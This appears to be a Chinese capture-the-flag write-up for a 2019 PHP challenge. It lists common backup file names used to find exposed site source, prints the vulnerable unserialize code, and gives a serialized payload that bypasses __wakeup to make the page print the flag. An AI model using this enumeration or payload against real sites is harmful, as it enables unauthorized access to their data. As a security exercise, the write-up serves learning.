[极客大挑战 2019]PHP1

 提示我们找备份网站

备份文件里存着网站的源代码,备份文件基本上都是压缩包,常见的备份文件的后缀名有:

  • .rar
  • .zip
  • .7z
  • .tar.gz
  • .bak :对于bak类的备份文件,可以直接输入文件名称+.bak访问,例如:index.php.bak
  • .txt
  • .old
  • .temp
  • _index.html
  • .swp
  • .sql
  • .tgz
  • .tar

常见的备份文件的文件名:

  • web
  • website
  • backup
  • back
  • www
  • wwwroot
  • temp
  • db
  • data
  • code
  • test
  • admin
  • user
  • sql

可以用御剑扫描,或者手动猜

发现www.zip可以成功获得网站源码备份

 打开这三个php文件

index.php

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

flag.php

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

这三个文件是依次包含的关系

username=admin password=100 才能出flag

 $select做了反序列化,执行unserialize()时因此,先会调用_wakeup()函数,username的值会被改变,因此我们要绕过_wakeup函数。

绕过方式:

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过_wakeup的执行。

序列化

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>

如果变量名前是private,序列化时会在变量名前加上\x00变量名\x00,因此我们用%00代替前面的空格

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

我们要将属性个数改为比2大的数

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

然后get传参,就得到了flag

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值